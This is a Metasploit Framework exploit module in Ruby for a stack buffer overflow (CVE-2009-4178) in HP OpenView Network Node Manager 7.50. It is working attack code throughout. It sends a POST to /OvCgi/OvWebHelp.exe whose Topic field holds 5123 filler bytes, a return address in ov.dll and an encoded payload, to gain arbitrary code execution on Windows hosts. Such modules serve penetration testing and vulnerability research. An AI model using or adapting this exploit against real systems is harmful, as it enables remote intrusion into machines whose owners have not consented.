HP OpenView Network Node Manager OvWebHelp.exe CGI Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'HP OpenView Network Node Manager OvWebHelp.exe CGI Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in HP OpenView Network Node Manager 7.50.  
By sending a specially crafted CGI request to OvWebHelp.exe, an attacker may be able to execute  
arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'CVE', '2009-4178' ],  
[ 'BID', '37340' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 650,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'HP OpenView Network Node Manager 7.50', { 'Ret' => 0x5a01d78d } ], # ov.dll   
],  
'DefaultTarget' => 0,   
'DisclosureDate' => 'Dec 9 2009'))  
  
register_options( [ Opt::RPORT(80) ], self.class )  
  
end  
  
def exploit  
  
sploit = rand_text_alpha_upper(5123) + [target.ret].pack('V') + payload.encoded  
  
print_status("Trying target #{target.name}...")  
  
send_request_cgi({  
'uri' => "/OvCgi/OvWebHelp.exe",  
'method' => "POST",  
'data' => "Topic=#{sploit}",  
}, 3)  
  
handler  
  
end  
  
end  
`